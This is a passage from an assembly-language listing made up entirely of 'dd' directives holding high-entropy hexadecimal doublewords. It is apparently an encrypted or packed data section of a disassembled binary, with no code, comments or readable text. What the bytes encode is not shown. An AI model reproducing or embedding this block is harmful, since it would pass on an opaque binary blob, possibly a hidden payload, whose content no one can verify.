0EB1A9780h, 680979F8h, 70230170h dd 0DCE022C8h, 3C028F1Eh, 467464E4h, 590D0718h, 0BB200BBFh dd 0F1DE4FCBh, 187B826Ah, 0CDE9ED5Ch, 0CB1CC135h, 569B6050h dd 92C8945Ah, 64E0062h, 79C0E39Eh, 0B2007F39h, 84289BD2h dd 8808E95Fh, 0A3012E1Dh, 766037BBh, 7E2350A5h, 3248B13Dh dd 1D987E09h, 0C68401A9h, 5BC599DAh, 0D9EFC014h, 5F0CA99Bh dd 61FDB079h, 42764BDh, 6D7D9D99h, 0B5F3B807h, 0BF931ADBh dd 0CE01D31Dh, 5676D0E4h, 5BF9FD41h, 3605282Eh, 8E933BDDh dd 0B5FC0BF4h, 7576738Bh, 4FF400F4h, 0B5F2368h, 2C1C8B1Fh dd 8E04BB56h, 1DBD1E3Eh, 0C01A88AFh, 3DE431D1h, 3E413512h dd 170D8104h, 0FBE2F5B8h, 60C56D1Ah, 0DF9E0A10h, 0ECB1EA4Fh dd 0AAB7806Bh, 0B44E946h, 487DFAh, 0A2D0B01Ah, 69CC6ED4h dd 0B6620391h, 0D0DF5304h, 80123960h, 4AA69D94h, 163019B2h dd 0C162050Fh, 0CC606FFEh, 0E20044EEh, 4B9F34A7h, 0E76BC4h dd 258030CCh, 32771E50h, 0B0DEAC24h, 7961C009h, 0B659AD11h dd 76C42800h, 3B4E11h, 0D6E2CD43h, 0E0A2640Ah, 3597FA73h dd 82169183h, 5E600CFAh, 9FD4E91Eh, 0DC5BA1D4h, 2E87407Ch dd 0A15B707Eh, 0F1009B81h, 0E9E007C0h, 0B8A204Ch, 7C59F85Dh dd 0D95AD00Bh, 0B7505B0Bh, 6027207Bh, 5BD6B966h, 0E78E2A5h dd 4016DB68h, 0D5E272B4h, 94B0109Eh, 4751328Dh, 52345658h dd 288AB57Fh, 9AD00B7Bh, 9042356h, 795F0920h, 0E1BCB347h dd 7BA70D4Ch, 4DCB164Bh, 0A0F7B64Bh, 1EE7123h, 6BE94995h dd 0A709870Fh, 800FF921h, 89BCEB80h, 12B595BDh, 0AD665C8Fh dd 0F70CBFBh, 14170073h, 600D7BD8h, 109F24ACh, 0C0D6F1h dd 69E33DB2h, 0A9E0C763h, 68B3AB17h, 3F072DA2h, 6B8F7Eh dd 9B1D6E87h, 862F93B0h, 0D8175BC4h, 8D7522C8h, 46EA2E07h dd 79095B99h, 901C54CAh, 7C8F2E5Eh, 563125B8h, 0DBF730C1h dd 5EC23C60h, 84469B04h, 31A0D8ADh, 0C49F4B22h, 0E0D3E6E1h dd 72D75FEh, 0BB57C876h, 0BC3B150Bh, 972B2019h, 0EC6049Ah dd 0A60411EEh, 0AAD0C869h, 0DB970AE8h, 0C4A1C97Fh, 81E19EDEh dd 9283B2B6h, 43CEF89Bh, 44B5BDF0h, 0D5FF00A6h, 3CE9B009h dd 0E0EBC5AAh, 5601CF24h, 5B7EA1CEh, 8A796A5Fh, 0B00D8BCh dd 306AC1D6h, 71D9CE5Eh, 8D291C60h, 44C26401h, 61CE9145h dd 29DB2031h, 0B9090FD2h, 0D112B2D9h, 54D00C6h, 59DC088Fh dd 2F0885Eh, 3A7F02F1h, 0D0C50A11h, 0F3848685h, 0DD8926C2h dd 868D3112h, 224DCD3Eh, 0DBF69347h, 9DF327A0h, 26AD68C4h dd 0F2D24AE9h, 824A8826h, 144DB529h, 0D682A974h, 5E5E0A8Eh dd 49FA11FAh, 123BAC8Fh, 30144334h, 3F5350Bh, 0FD754E07h dd 2150D707h, 48C4242Ch, 0C5105832h, 0CE5B2630h, 11946DCh dd 33CC5898h, 353ACA65h, 0E53F3006h, 8C00E2B3h, 0FBD3603Ah dd 4171ACh, 8320DBA2h, 0AECF81B8h, 3E158A05h, 6301E95Fh dd 0FFE5EFF5h, 0ECA5B7E8h, 988F0515h, 20427254h, 5BD095Ch dd 0C9D0A4Eh, 26FDEA89h, 0C2C50B11h, 3B71F35Eh, 0FDFBBF11h dd 0BF042E86h, 0D3BCB127h, 0E0A9B6D2h, 38097C85h, 525FC669h dd 2714EF74h, 61F6127Dh, 8BDFD0F2h, 76DE0C82h, 209D8950h dd 0E90E0D25h, 32FFF2F7h, 1AE085E6h, 0FB6129B3h, 0C18BFF88h dd 0C6B8DD2Dh, 0EEDF4209h, 59A97B9Bh, 2DD181Bh, 60677612h dd 5E78D746h, 92902A38h, 8EF3850Fh, 0B5F2D213h, 787EFE97h dd 0BEE900DCh, 8969C868h, 2A5F5D8Dh, 54BAB8D4h, 9517DAF4h dd 0B0C28D04h, 4C59EA72h, 78B79F1Fh, 0D330A496h, 20DF6BAh dd 244BE2Dh, 3A512AFEh, 11838700h, 13C191h, 9EF7D39Ch dd 822F22A2h, 2B6D5509h dd 5CA792BDh, 0DABF8731h, 0F58F4550h, 6652DC72h, 0A4E4BB1Fh dd 34A23112h, 0D180F53Dh, 26FA9C6Ch, 5E00839Eh, 0A133683Fh dd 17C973E9h, 0F9585AB8h, 0B0ECCBh, 0DB80852Ch, 9BD318Dh dd 17A92852h, 0A8328E0Fh, 945C128Bh, 0F8522337h, 1A989857h dd 0F98A00F4h, 52DD3D7Ch, 0EE955F5Eh, 36D9D8Ch, 4C715140h dd 8FDD05C8h, 0B01F8BD0h, 0B8972C43h, 13B3A6h, 11BBD1FFh dd 80509851h, 0E52AC325h, 0BF5A128Eh, 8709AF7Bh, 648E4126h dd 2DB2A6Ch, 0DCF0B6h, 0AB1250E9h, 3E0B60C2h, 42944B4Eh dd 20B59FDCh, 0E91211C1h, 62F20F75h, 7D0963C9h, 807A1D5Bh dd 0A5D4CFDDh, 3193276Eh, 450E11B7h, 0A2AA6063h, 581A7776h dd 9D4B7B55h, 0B96A3F88h, 90B4077Bh, 81F8E61Fh, 0C5F3DFBFh dd 89EA3C2Ah, 0B55378DEh, 4CC2446Fh, 563B621Eh, 4FC5A59Ah dd 73A1A58h, 58F508EEh, 53112243h, 2F5F2EE9h, 0EA64675h dd 0A9AFD8A0h, 0B9DCE800h, 80FBDFF5h, 20274BE7h, 0DB93B849h dd 9DDE130Eh, 41ED20DCh, 0B0B45F06h, 2CE920C0h, 0FF6A5B12h dd 0DEB8B0F9h, 6739D117h, 24E10005h, 4D13C6E2h, 0EDDD049Fh dd 0A242BC28h, 0BD23212Dh, 0B08353D5h, 0F129BB80h, 0E667CC02h dd 5C8D0F70h, 45F7606Eh, 0EB95B79Fh, 1AA5F9C8h, 8B880118h dd 399197F9h, 84E80CF8h, 55E1EC00h, 97E517CAh, 810F2951h dd 6C5B1CF8h, 8B3F21F4h, 0CC026E3Fh, 45E05660h, 5A8104EDh dd 961CFECh, 336D9501h, 0D864CDF4h, 0BB0001BCh, 7AA21280h dd 40FDC82Bh, 30496A2Dh, 803BE700h, 8B5FD6CBh, 9C10A8D1h dd 11A7CEEh, 7DF38132h, 715BD7DFh, 8A2DC2CCh, 2353903Bh dd 0C412D9Dh, 53EE0B2Bh, 7D1C1F44h, 0D0C79EB8h, 36606509h dd 0D75B4245h, 708AE32Ah, 18EE0A00h, 5339253Bh, 0DCB4092Dh dd 77A8045h, 71291744h, 7008609Dh, 5039C381h, 0E92E9A0Dh dd 0D3EC233Ch, 431617A4h, 0C22EA813h, 5051BD0Bh, 2149713h dd 8A9C0F95h, 0C83B18A5h, 24611227h, 7A132094h, 971C87B0h dd 0A8200294h, 26BB1FDDh, 922D2DCh, 0E272111Ah, 0DE87B4h dd 3A98551Fh, 0FADD264h, 0B65F32Ch, 5E172D09h, 0D16D5AAFh dd 67C82660h, 81AB01B7h, 0B99D5EC7h, 25E3C915h, 5BDFEC5Fh dd 38A95412h, 0F1CED88h, 1BF9C308h, 0DCBB2AC0h, 0E3057482h dd 9A1449D6h, 0E7FBD4C1h, 0FCE1F941h, 79C07F5Ah, 6C5D56ECh dd 0EB7F2801h, 0B8FCED26h, 0CBEF5DC2h, 50864C62h, 0F4C917C7h dd 9D89302Dh, 0D9038809h, 0D7FB2C9Eh, 9968BBE2h, 91310FA3h dd 4B61E5E4h, 0F86FBDBAh, 0D42F0064h, 0C60F3AC5h, 600984DBh dd 64A1CF80h, 2D10081h, 8DD969C9h, 76075B77h, 2C7336FEh dd 0DAD15E49h, 0F750727Bh, 120FEA5Dh, 0EBF3FF29h, 85913B37h dd 0BF0021C1h, 6813FB49h, 6C305358h, 0B3692F4h, 603FA6FFh dd 315AE0F8h, 6069F38Dh, 7E0268A8h, 0C5BB6662h, 296675h dd 2E1CE195h, 591FA9CCh, 1817F978h, 59F7880Dh, 89FC4BB0h dd 8EBD852Dh, 0AF0DF21Ah, 6D3CF7F5h, 80919BD2h, 6A349469h dd 6566C435h, 0B4F9BC1Ah, 0B6A838BDh, 1864D0Eh, 45BD4457h dd 0BB5B4AD0h, 0E70513AFh, 0B505A267h, 94C7079Bh, 0A5350DFh dd 2227E85Fh, 69E58E6Dh, 8924D986h, 1BD11489h, 294181C4h dd 2031995h, 0F018DD53h, 0E1044E97h, 5FE7E567h, 7AAFF995h dd 5C2C1324h, 1FEDDE04h, 865275BAh, 1D201CEBh, 0E1FF2704h dd 6202AB37h, 5727789Dh, 3326110h, 0C2375D00h, 7139A374h dd 739A0EA4h, 42493B0h, 0A302E82Eh, 0B704E477h, 0A7F5BC5Bh dd 777BF29Fh, 0EF179212h, 0DF128DF3h, 84F7F2AEh, 9D49041Ah dd 6075A777h, 0E6B0BF10h, 5685C15h, 6124407Dh, 9DE6A197h dd 0E4193031h, 2F8C29C9h, 2F7301C8h, 988B44D2h, 0A105094Bh dd 4674238Eh, 25D68CE8h, 0BC59A525h, 0CF43E61Ch, 0B08ABBF8h dd 0B4037Bh, 71AE3ADAh, 2114CEB3h, 6111BA25h, 0E6A75BF3h dd 9A97ACF2h, 0DCCBD415h, 0F35E6F04h, 0ACBE0E8Ah, 885C80F5h dd 757A1B52h, 9012139Ch, 0DCF260h, 82A580B0h, 0A2B923h dd 9C97E4E3h, 10848B37h, 5A00F0E6h, 0B938B360h, 38BB47CAh dd 50AD6163h, 768B1D90h, 7435AE00h, 173C648Ch, 0BB1A077h dd 40FDBEE9h, 608DB812h, 0B8D52C3Ah, 0FFB48986h, 40125E54h dd 73436134h, 3630B2Ch, 0A76F9012h, 0EC2CA905h, 1C0C13Bh dd 92B3010Dh, 4383447Fh, 0F96F2D5h, 40015B88h, 0E0DE2CD3h dd 0E4E37A66h, 0AE4F3D0Ah, 0CCA76800h, 4BBFE275h, 580EF9B8h dd 82240481h, 0F31DA937h, 1AF97009h, 0F59D074Bh, 0FBC1415Ah dd 298F0F4Ah, 9BB3BC6h, 0D129763Fh, 0CBE984DEh, 0E885ED01h dd 909A006Bh, 0D6BBD405h, 0CB0481B1h, 4F7FCE11h, 0A74BCBE8h dd 0CA12B03Dh, 268D04CEh, 0E8AD062Fh, 0BD09C1CBh, 8B2E0DE1h dd 0F59A4ACFh, 3526419Ch, 6C2308FCh, 0CACD4B04h, 0F4299902h dd 0BB068025h, 3343F2D0h, 6D4B1599h, 411A40B9h, 0C295BD35h dd 6AC55EC4h, 33B90854h, 870F5004h, 862ADE89h, 0DAEA0D36h dd 8B094DBEh, 0B1B1D1DFh, 2150D52h, 1978DAE8h, 381F03FFh dd 895688D9h, 600EA40Dh, 88F3C493h, 5C951306h, 1DBB8BAAh dd 5EB828BFh, 899A6470h, 111174EAh, 30215060h, 220166B1h dd 0EA812ECBh, 6E3B5861h, 136304A4h, 4AFFF86h, 0E8A87A7Dh dd 0FDED96DFh, 0F7F80BBCh, 0D3FA8604h, 93A29077h, 49E60800h dd 999E7C04h, 1CAC434Eh, 457597D0h, 7E3D3109h, 90F8B431h dd 9DDBA48Eh, 85DEF9F2h, 70F8FAB7h, 0CD5FD580h, 19007A46h dd 7BA36E75h, 433712Eh, 0FC4DFF8h, 5F4291A0h, 0B8132961h dd 0BEED3F93h, 4BFEB93h, 0EE488D2Ah, 0B056238Ch, 0E7E79535h dd 0EABD1C28h, 51CF5C0Eh, 89278235h, 72A45B5h, 96F359E9h dd 2594ECD8h, 690E88E9h, 14BB0210h, 7468D466h, 4D4B77D1h dd 7F384011h, 0A6178A7Bh, 0A331850Fh, 295A3FE3h, 0CBC83AC0h dd 75962B9Ch, 3BF22640h, 0A4E6A097h, 88841343h, 8802B2CAh dd 0BB668245h, 0FF961705h, 4B23346Ah, 0F8AB00DEh, 0BBDDF3E7h dd 6E133BD1h, 0ACA2FC23h, 98127700h, 0B1042C81h, 4F719202h dd 0E05386AFh, 7676DF38h, 0EC359D8Ah, 0D811791h, 2EACF9DAh dd 0DF26DE9Dh, 0B64F02B0h, 0DF09A17Fh, 0D5328B92h, 13789009h dd 1CDE1FBCh, 41A39605h, 86DC5F5Eh, 0CB2D30B2h, 46476E27h dd 0B2334FE8h, 60535F30h, 3A1D0652h, 64C96DA5h, 0C7B86016h dd 0BD891F7Fh, 0DBD3A52Dh, 0DAB7ADh, 9911BB35h, 120A9B8Ch dd 9ADE8B74h, 98F381C0h, 5D9D27DDh, 477B7C4Ah, 0F6C0F4D1h dd 758D1289h, 1000A926h, 0CC4B2435h, 57506060h, 5858FBA2h dd 0DA17C209h, 717B5E3Bh, 0D2E83961h, 0AAA41CA6h, 151616C0h dd 0D952E31h, 0FA88B039h, 0FB95C283h, 0E0C781Bh, 5184B14Eh dd 0C0E41CA6h, 7EEA76BBh, 0E8818C4Fh, 343A4D69h, 0C76EEE4Ch dd 0E0F8915Ah, 5DF93065h, 71B2354Bh, 0A801FDD3h, 0AD090028h dd 463877F4h, 48C1797Fh, 64D9D23h, 0FF24C662h, 59E6CB8Ch dd 0DE4EBFFEh, 0F5E88DB0h, 44DA8610h, 1C32EE24h, 5FCFC100h dd 4E8B310Fh, 506AB2D8h, 0A3137DD0h, 69307CDDh, 4068A6h dd 8AE70942h, 47214B6Ah, 0F5A89007h, 80D201F8h, 35BF1407h dd 9E2B27C7h, 3A79C010h, 0D2514B02h, 57F9CDB8h, 0F098DD46h dd 0F06135A2h, 8ECD2E5Fh, 3309C701h, 0B844743Ah, 0A54E7D34h dd 0E177498Ah, 80D9DE7Ah, 0F6E55431h, 4DC21326h, 0BF6302DAh dd 0ABA0BD23h, 5C19D01h dd 0E44AED97h, 0C2B76215h, 1EF251F1h, 0CEE6400Ah, 8FC64B31h dd 2D33FD97h, 4D68BC9Ch, 85B75E14h, 0E6535CB0h, 0AD91123Ah dd 1F0F0446h, 6DE20412h, 0B934B40Dh, 49772456h, 5BFE14EEh dd 9906C0F1h, 70EB699Bh, 54AA6498h, 5F1AF085h, 0BB5E189Dh dd 0C34013F2h, 9D57A211h, 258A9062h, 27DB3565h, 4041F0A5h dd 8ABEC622h, 0F7AFAE82h, 79E5D56h, 2560908Dh, 12D8409Eh dd 83F3D9D7h, 0E9C931A4h, 4C123A0Ch, 0FC02AF6Fh, 14C5D667h dd 0EA1F90A4h, 492D358Dh, 0DE0179A8h, 89A5C16Bh, 32C5E32h dd 0BEC780C0h, 339ADA8Bh, 59E3F397h, 0B57C1815h, 27A9E9C0h dd 4B8A5080h, 0BB1F90DEh, 6A5E4284h, 15C0D3DBh, 2EF20BD4h dd 88C44A0Bh, 0C993028Ah, 95C70E2Ch, 15F0A79h, 0D91436BFh dd 0CDD8851Eh, 6FFE1F5Dh, 5B8302E9h, 0C0AEDEF2h, 0D239BD78h dd 683AF175h, 873B83DBh, 41C5C863h, 0CC904DAEh, 0B3001122h dd 139E763Bh, 0E26F53h, 609708B0h, 0FCDE1096h, 614D6B76h dd 34205FD6h, 1D18E944h, 1F0E156Ch, 9B4E805Bh, 58ACF4A4h dd 4188F04Bh, 55E00083h, 1280C743h, 79094DFBh, 0F40E290Ch dd 984A567h, 9C95004h, 5905969h, 65BA2936h, 0C2BE9ADEh dd 602F104Dh, 0B538B688h, 2A34A88Eh, 0A06C948h, 7A33D488h dd 0FEDEE825h, 1646D6ECh, 1F11A90Dh, 3A29C56Ch, 8BE5675h dd 0FF1D11CEh, 0DC8BF465h, 4FBBB002h, 744B8639h, 7A5B5173h dd 7E377Bh, 2BB12FE7h, 6A8D9C55h, 0AFA0025Eh, 63908124h dd 63AD00CEh, 36B7DAEBh, 0C8C4000Ah, 8C30A825h, 0ACEC04E0h dd 50A17B16h, 16701EB0h, 52905FA2h, 874F609h, 880445BDh dd 0D7710CB9h, 0F1FB12D2h, 7C7E050h, 7F0F6997h, 0FF0B2288h dd 50655074h, 818142ECh, 0E44E2FFEh, 5E00ACB2h, 12140152h dd 9A957727h, 0DC2AB41Fh, 90B73472h, 98AF7904h, 0B9300010h dd 258F58E1h, 86001705h, 2845F40Bh, 581DF1Eh, 8C1678EFh dd 0F474BA44h, 0BFAB01BAh, 2EB58B80h, 7461CAD2h, 0B55D5260h dd 48D1237h, 81A2E68Bh, 2E26D567h, 3CB3A39Ch, 80926A34h dd 1263E8D7h, 0A2ED0CFDh, 0D90B9BE8h, 0FCF18B60h, 0CF171A9Dh dd 2213585Eh, 378825A2h, 2E3122B3h, 91ACB017h, 29BB0005h dd 0E679F935h, 81500070h, 0C7753BC3h, 0C49F5B60h, 619B0247h dd 0E9F40F58h, 0E30036D1h, 45DE4B29h, 6566007Ah, 0F463688Fh dd 5DE2D91Dh, 8A2667F8h, 0E02569DAh, 4639854Ch, 4DD27C1Bh dd 0C46E4BF5h, 69728125h, 745F0232h, 0EF804252h, 89C171E1h dd 0D118B54Ch, 27E22529h, 244FCCFCh, 0DDAF48F3h, 0C0DC0027h dd 64CC5BC4h, 542B8FA9h, 3F6CC8h, 0DBDDBCF1h, 8C81F875h dd 492EE300h, 982B1E5Ch, 40126940h, 96C1A5Fh, 0B47B7AB3h dd 0D2D19EFh, 38133AFBh, 0C9C6F3FDh, 0E16D3693h, 0FCC126C7h dd 3125703Ah, 345A8D9Dh, 5B8C15C9h, 812346E9h, 244BE304h dd 8CBA2FE5h, 24EB3B3h, 34FB2184h, 0B2528C96h, 447F7B00h dd 887ECE7Dh, 838900B4h, 0D19C19F3h, 703CBDCFh, 29A5A852h dd 932E295h, 937DE6Eh, 2FD3EE1Eh, 3FE75E08h, 0F12D13F4h dd 0EA0A13CEh, 2F04636Fh, 0BF8B4E38h, 47E9AD9h, 0A12AB930h dd 0F0B9665Ah, 0E866C7h, 0A0D823D3h, 618531A8h, 0FCBE119Dh dd 50B6E2Fh, 0FC236194h, 0B7E059B6h, 0B64A4227h, 2212682h dd 53F0C02Bh, 0E4F59025h, 0F47097EAh, 18A6D84Bh, 0EEF3698h dd 0DB0D5Ah, 3BF0AF9Eh, 4F231940h, 126FF9BDh, 0D0DE880Dh dd 87CD06C0h, 47011055h, 0BD097819h, 742F2A8Dh, 5840B966h dd 8C1DF83Dh, 55733500h, 3806D094h, 3A31256Fh, 5BE939E5h dd 0FB650E0h, 2775DEA0h, 9BE6080h, 55F62B7h, 9C000144h dd 327FB976h, 0C61ADA4h, 0EC1351BAh, 254DB598h, 0CA5B3ED9h dd 7212F06Eh, 8866F237h, 4BA0A847h, 0F07EA7FBh, 16A6B4h dd 0E15B28F8h, 3C781EAh, 0C731B13h, 4B3A0DF0h, 8160CDB9h dd 7954CB16h, 8430E1FFh, 0CA174B7Fh, 374162Ch, 0DBA048B7h dd 0BF0040AEh, 3975E3E5h, 97DFB70Fh, 5C6B5094h, 12955659h dd 0B15FA82Ch, 27B11386h, 3A60F946h, 0F500446Eh, 3E338FB6h dd 0B7E2D523h, 940169Eh, 0E25FD72Eh, 7EC80E57h, 7A40B5C2h dd 4006285Dh, 5E598B97h, 0CD4BDC5Dh, 919B6FC4h, 9374AED3h dd 7DF3F980h, 0D4374BD6h, 6D478992h, 0E4F3B898h, 76CDB0BAh dd 0CDFF4ABFh, 50372E7Bh, 4EBAFEC5h, 0BFA0F9B0h, 6837770Fh dd 7FC78D6h, 0E8E4DB45h, 0D53C25EBh, 0F0179AC1h, 0C79B2AE2h dd 24B54E78h, 9566E66h, 9F7361CFh, 2ECB5ADh, 0A535391Fh dd 269965Ch, 9216DACh, 12918402h, 0E883E902h, 13DBFE4h dd 92644FBh, 2E351985h, 802F4F9Dh, 0FDF3817Ch, 66B3D112h dd 0B05B6AE3h, 3A9735E3h, 5EAC096Ah, 0D614EA12h, 45495900h dd 0DB52FABh, 68925EAh, 59B5D964h, 35A8B0Ah, 0D09D81C4h dd 15EA00E1h, 3D66021Ch, 6816030Fh, 0DBEDC097h, 0B8C17ACh dd 0E8D59C3Dh, 2A959C82h, 0F545805Ch, 77A04A0h, 605096B4h dd 17581753h, 6EFC8961h, 99958D20h, 4DF8BB7Ah, 68280278h dd 0F36E568Eh, 0BA00E246h, 29954E63h, 1949E5h, 0ED0F271Ah dd 9D5BB442h, 71094692h, 0B70CB0ADh, 0B26F82EAh, 55D9858Dh dd 0EE1817F9h, 0E745DD16h, 0F11488C7h, 9B2ADCB1h, 0F233C03Bh dd 0C67886h, 0F6BF566Eh, 5F0BA45Ah, 9135359Dh, 0F5178318h dd 80E980EDh, 61BC27EFh, 334181D8h, 5925CF2Bh, 4E9DACD9h dd 0A1C1A036h, 4F392EFDh, 57B320CAh, 0FC323E9h, 843DB531h dd 5CF8AC92h, 0BBC07529h, 5A85C305h, 844BDB6Fh, 60C5C41Ch dd 0B13150D3h, 8E2E08D5h, 5FFE3500h, 7F273942h, 0A48E775Fh dd 62B5A9DCh, 4F7703E6h, 7DD949EFh, 1108AB24h, 8D89021Bh dd 80F31899h, 3F830F8Dh, 0A7B157C2h, 0C05F1308h, 12FA7FB1h dd 0B3CEDCA7h, 24F64AC2h, 0ED6B9AE0h, 2A8F2626h, 6FEB4504h dd 23A66BAFh, 0DBC0319h, 0B3A8BA8Bh, 7DED96F9h, 3DEB1E7Ah dd 42A05312h, 0F480AE5Fh, 0BD9995F9h, 3271D809h, 0A54BE595h dd 3B50C6F3h, 68EC016Bh, 5E9FE156h, 49C73023h, 3EF2224Ah dd 0A845BDD2h, 0D3A525B3h, 4D9DB666h, 0F29C1B8h, 64312A8Ah dd 81001461h, 4B12BCC7h, 0CAB64177h, 723017B2h, 0D1C53295h dd 40DC7962h, 54C64225h, 1302DCA5h, 7386CF54h, 0CBCFE17Ch dd 953E2FC4h, 3157CF89h, 7DEEBD18h, 0B5535889h, 50F9D3A7h dd 6C1680A1h, 0B1E2BA5Dh, 108C4000h, 44FC11B4h, 0BBCC5B4Ah dd 0FD9D2F2Bh, 0F6792012h, 8F691700h, 0F6A5ACh, 6CD9FE6h dd 3287053h, 45749324h, 0BD891A02h, 4A3D7035h, 0C86BDA5Fh dd 0AE66C019h, 0B22408E5h, 0FA138275h, 691613ECh, 3EC1CDC1h dd 2939D981h, 25205823h, 0F6506127h, 24340B34h, 3CC094EDh dd 9310C1h, 4074A9F3h, 15BD315Eh, 0A0542E4Ch, 1651CF81h dd 0E9735720h, 0AD1BD52Eh, 916986C9h, 0BFC3C758h, 0AFD8F9ABh dd 52038C9Ah, 5633A7F7h, 0CFAC9C8Ah, 0E52840A2h, 2458206Fh dd 2D1D60h, 1BB17F4Eh, 0C99E2C93h, 831ABD02h, 0E05FE3FAh dd 6E800FB9h, 52EB391Eh, 0C000B3D9h, 5E2A34D4h, 3F980040h dd 0A92A0E2h, 314E0F18h, 5AC29CA8h, 93B29658h, 14D9F02h dd 9DAD5029h, 0BBFC375Dh, 8A513382h, 5CDE0B54h, 85581F26h dd 8D298806h, 0B5B79095h, 9C2BE1DDh, 12B866F6h, 44961495h dd 0B5100160h, 0E6A5275Dh, 85FBE487h, 822724F6h, 1DF04100h dd 0DFDEC65Fh, 10309C87h dd 0A85E02E4h, 0BBE84301h, 28BD840Ah, 112CE2Bh, 74E9FAB7h dd 5EC6FFF4h, 0E700DCC0h, 27168F73h, 4C668A3Bh, 8470D835h dd 0BC50C159h, 566100F1h, 4054B678h, 99B00A7Eh, 58F0382Dh dd 54D38AD3h, 6756A5B8h, 45F500F4h, 7DF7488Fh, 0ECF15B4Fh dd 0BF0B5157h, 707F0E24h, 0DF90BF40h, 4D9D6AD8h, 0D3BDE054h dd 0A5488BA6h, 5AD05B00h, 261FD781h, 0A45784A9h, 3E04DEFCh dd 0AE68F4B0h, 5F007EB2h, 0A9CF9D63h, 430090C8h, 68DFEC50h dd 508EA3D3h, 2ED29FACh, 0F4231F6Ch, 9C487E00h, 43DA4FF6h dd 0E2954AA2h, 0B60107B3h, 3EA005B3h, 1268312Dh, 0B103DF80h dd 2BB5F5F9h, 0A76F2194h, 2A763F03h, 404B8848h, 42E01AE6h dd 513EAA10h, 5DBE92A3h, 75C620AAh, 0D2006EE2h, 0DBDF157Fh dd 0F6B3A7CFh, 0A16AD75Fh, 0BE752A56h, 0D184D8DAh, 0AE3DC56Ah dd 1D23B56Bh, 83CA1901h, 27F0E2AAh, 54B72788h, 0D1FF6DC0h dd 0B99D330Bh, 71C15E21h, 4F5FC2A0h, 6EE4067h, 0AB07183Eh dd 860F8C90h, 41F9132Eh, 26366B80h, 0E307E682h, 396AD008h dd 6EEF0224h, 0C8370069h, 0DB36965Eh, 117D9D51h, 0AEFC8109h dd 3251244h, 0D603AF5Bh, 0B4504C9Ah, 13B46EAEh, 97BC8ADDh dd 5B872380h, 46BBEAE6h, 0C2146630h, 0BC7B4AE9h, 42DCE2D9h dd 8F6D5FB3h, 0BFCDC6E0h, 0D0D713AFh, 0B80CBD36h, 19860215h dd 4E9F1129h, 107A0257h, 60295C6Dh, 5090FA8Bh, 4EFD6058h dd 1ED391E8h, 761D6F1h, 5912B7EDh, 6DCF0275h, 0FF880935h dd 0A2601738h, 0A6C00F5h, 49CBC3D2h, 67C404F7h, 0EF8AD4AEh dd 31350EC1h, 125C6102h, 7BBF2Dh, 117A0EC7h, 58250BCAh dd 0B529CC09h, 0E1209870h, 0B9660408h, 0B8611D3Eh, 7EC0D20Fh dd 0F96ADFA4h, 0FB5D3093h, 2FC53621h, 0A23DF72Fh, 0C4045C46h dd 0BD2B4128h, 860C1EB9h, 27BF0484h, 162C5ACBh, 92A1448h dd 3B5871E4h, 0DCCD2F4Ah, 3D2C2CE2h, 432A2541h, 235D9DE1h dd 0DD89124Ah, 0A92CD031h, 0A6445280h, 0B2180FE6h, 75469342h dd 0E7919526h, 3F1E3133h, 65B5A445h, 0F3A88AD4h, 2BB2F04Fh dd 16516FC4h, 0EDF1BB00h, 0D1F60C24h, 43023D92h, 598D0938h dd 5A88A933h, 30C28810h, 95890B2Ah, 0BA93188Dh, 22C20D8Eh dd 564588C7h, 3AF81DE1h, 0C1D5AC5Bh, 28F70DF0h, 3BA15929h dd 0BB32ED0h, 0E9F4B306h, 90D0F5Eh, 7B2DA585h, 580CE23Bh dd 0C9E25F6Dh, 0A7C4B780h, 4003BA36h, 65D6064h, 56EBBA63h dd 99C627F3h, 248D4695h, 27EDF81h, 0A583676Bh, 0A2FE3384h dd 5B48FDh, 0BAD76379h, 5A4AE77h, 14BCB2D9h, 8590086Fh dd 0F6F54CA5h, 98D082F1h, 6094CFB7h, 0E763BB66h, 6411ED95h dd 0C8FF6418h, 8B49B992h, 0E6844A39h, 72F537EAh, 0ED5DC02Bh dd 80B8C57Dh, 0EB50D874h, 458F3150h, 0BB021441h, 2BF2505h dd 0BA691CEEh, 91019F57h, 0A4B28117h, 93202F2Dh, 2A0241F9h dd 802EF73Dh, 2C0CEB31h, 31258E90h, 2CD66517h, 3304D682h dd 845CAFC5h, 598020BCh, 0BC6D50AAh, 85E43900h, 2D40B921h dd 0FDC10053h, 0B12F07Bh, 17E2BD89h, 66EBBA95h, 7D4800DAh dd 0FAB15CAAh, 3F25F519h, 62A55CF9h, 25C5F51h, 5908B968h dd 0E345250Dh, 40916DE9h, 51AB9749h, 7210BFA3h, 0BF022681h dd 0F31D0DEh, 3C51AF56h, 3699AB14h, 768BB26Bh, 5E225125h dd 9745A3Ch, 662C58D4h, 2DF3E128h, 0BDBB1FA1h, 4559319h dd 282BDE89h, 1FD26180h, 549A441Ah, 27B67380h, 3E0A48Dh dd 13B36F0Ah, 0D89F0ECh, 5830819h, 0F827EE82h, 600B0484h dd 1BD2FFD8h, 0F1397DA1h, 0FE0732B8h, 0ACB5CCDAh, 0F908948Ah dd 0B15B120Ch, 0F9B6E8Ah, 869CED96h, 1F0FE9h, 64E10DE2h dd 51537D33h, 7718AA01h, 0F9C9F2FCh, 9597442Bh, 71491301h dd 5096571Bh, 12D460BCh, 0B3D2BDD1h, 1D602C98h, 0B8B68763h dd 17E073CAh, 557A2A5h, 97B03133h, 6100587Eh, 3076C0BFh dd 20905A48h, 0ACBDD3EBh, 0BAF0F309h, 5F61E07Ah, 12DA9850h dd 9B90EC10h, 56B280AFh, 2728758Bh, 0ED756AEEh, 329C080h dd 0ED252D62h, 42455168h, 86CC5250h, 5A3111C3h, 0CC085F58h dd 7900062Ch, 2C6DC0D7h, 4A562030h, 50450C5Bh, 99BF8139h dd 2547D9CBh, 5A609B6Ch, 3D07C856h, 19F1720Fh, 742FA1F2h dd 27D0CDBEh, 0E09B3F0Ah, 615F5E85h, 0B09EA8Bh, 1E0AC4F1h dd 40248726h, 0AB83019Bh, 5638C79Dh, 8961945Ah, 0C8846436h dd 0F74320FBh, 0C4003F2Ah, 0BCF87AEFh, 7109B9Ah, 0D89E2DEDh dd 0C74190D5h, 584A613Eh, 63E320E6h, 2AFC1AA1h, 0B7B6EC75h dd 0CF80E1A7h, 82332E73h, 72E3E081h, 0E93712A1h, 0F5944939h dd 0F8927273h, 11A571AFh, 0B3120A1Ch, 596CE748h, 9EAAC27h dd 0A143AFB2h, 8401F6F1h, 6A98A556h, 5DEEFF61h, 66020E37h dd 4CCD27C8h, 0BD04A0FEh, 0A22F5A99h, 8014200Fh, 910446FCh dd 0BC7F8057h, 0A67417D3h, 96675612h, 0D8CD3FB1h, 13905FDAh dd 